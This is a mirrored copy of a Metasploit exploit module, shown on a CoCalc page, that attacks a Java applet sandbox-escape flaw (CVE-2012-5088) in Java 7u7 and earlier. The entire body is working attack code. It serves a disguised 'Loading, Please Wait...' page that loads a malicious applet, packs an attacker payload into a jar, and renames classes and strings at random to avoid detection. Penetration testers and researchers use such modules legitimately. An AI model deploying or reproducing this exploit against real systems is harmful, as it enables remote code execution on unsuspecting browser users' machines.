CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_jre17_method_handle.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
#include Msf::Exploit::Remote::BrowserAutopwn
13
#autopwn_info({ :javascript => false })
14
15
def initialize( info = {} )
16
17
super( update_info( info,
18
'Name' => 'Java Applet Method Handle Remote Code Execution',
19
'Description' => %q{
20
This module abuses the Method Handle class from a Java Applet to run arbitrary
21
Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
22
earlier.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'Unknown', # Vulnerability discovery at security-explorations.com
28
'juan vazquez' # Metasploit module
29
],
30
'References' =>
31
[
32
[ 'CVE', '2012-5088' ],
33
[ 'OSVDB', '86352' ],
34
[ 'BID', '56057' ],
35
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
36
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
37
],
38
'Platform' => %w{ java linux osx win },
39
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
40
'Targets' =>
41
[
42
[ 'Generic (Java Payload)',
43
{
44
'Platform' => ['java'],
45
'Arch' => ARCH_JAVA,
46
}
47
],
48
[ 'Windows x86 (Native Payload)',
49
{
50
'Platform' => 'win',
51
'Arch' => ARCH_X86,
52
}
53
],
54
[ 'Mac OS X x86 (Native Payload)',
55
{
56
'Platform' => 'osx',
57
'Arch' => ARCH_X86,
58
}
59
],
60
[ 'Linux x86 (Native Payload)',
61
{
62
'Platform' => 'linux',
63
'Arch' => ARCH_X86,
64
}
65
],
66
],
67
'DefaultTarget' => 0,
68
'DisclosureDate' => '2012-10-16'
69
))
70
end
71
72
73
def setup
74
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "Exploit.class")
75
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
76
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "B.class")
77
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
78
79
@exploit_class_name = rand_text_alpha("Exploit".length)
80
@exploit_class.gsub!("Exploit", @exploit_class_name)
81
super
82
end
83
84
def on_request_uri(cli, request)
85
print_status("handling request for #{request.uri}")
86
87
case request.uri
88
when /\.jar$/i
89
jar = payload.encoded_jar
90
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
91
jar.add_file("B.class", @loader_class)
92
metasploit_str = rand_text_alpha("metasploit".length)
93
payload_str = rand_text_alpha("payload".length)
94
jar.entries.each { |entry|
95
entry.name.gsub!("metasploit", metasploit_str)
96
entry.name.gsub!("Payload", payload_str)
97
entry.data = entry.data.gsub("metasploit", metasploit_str)
98
entry.data = entry.data.gsub("Payload", payload_str)
99
}
100
jar.build_manifest
101
102
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
103
when /\/$/
104
payload = regenerate_payload(cli)
105
if not payload
106
print_error("Failed to generate the payload.")
107
send_not_found(cli)
108
return
109
end
110
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
111
else
112
send_redirect(cli, get_resource() + '/', '')
113
end
114
115
end
116
117
def generate_html
118
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
119
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
120
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
121
html += %Q|</applet></body></html>|
122
return html
123
end
124
end
125
126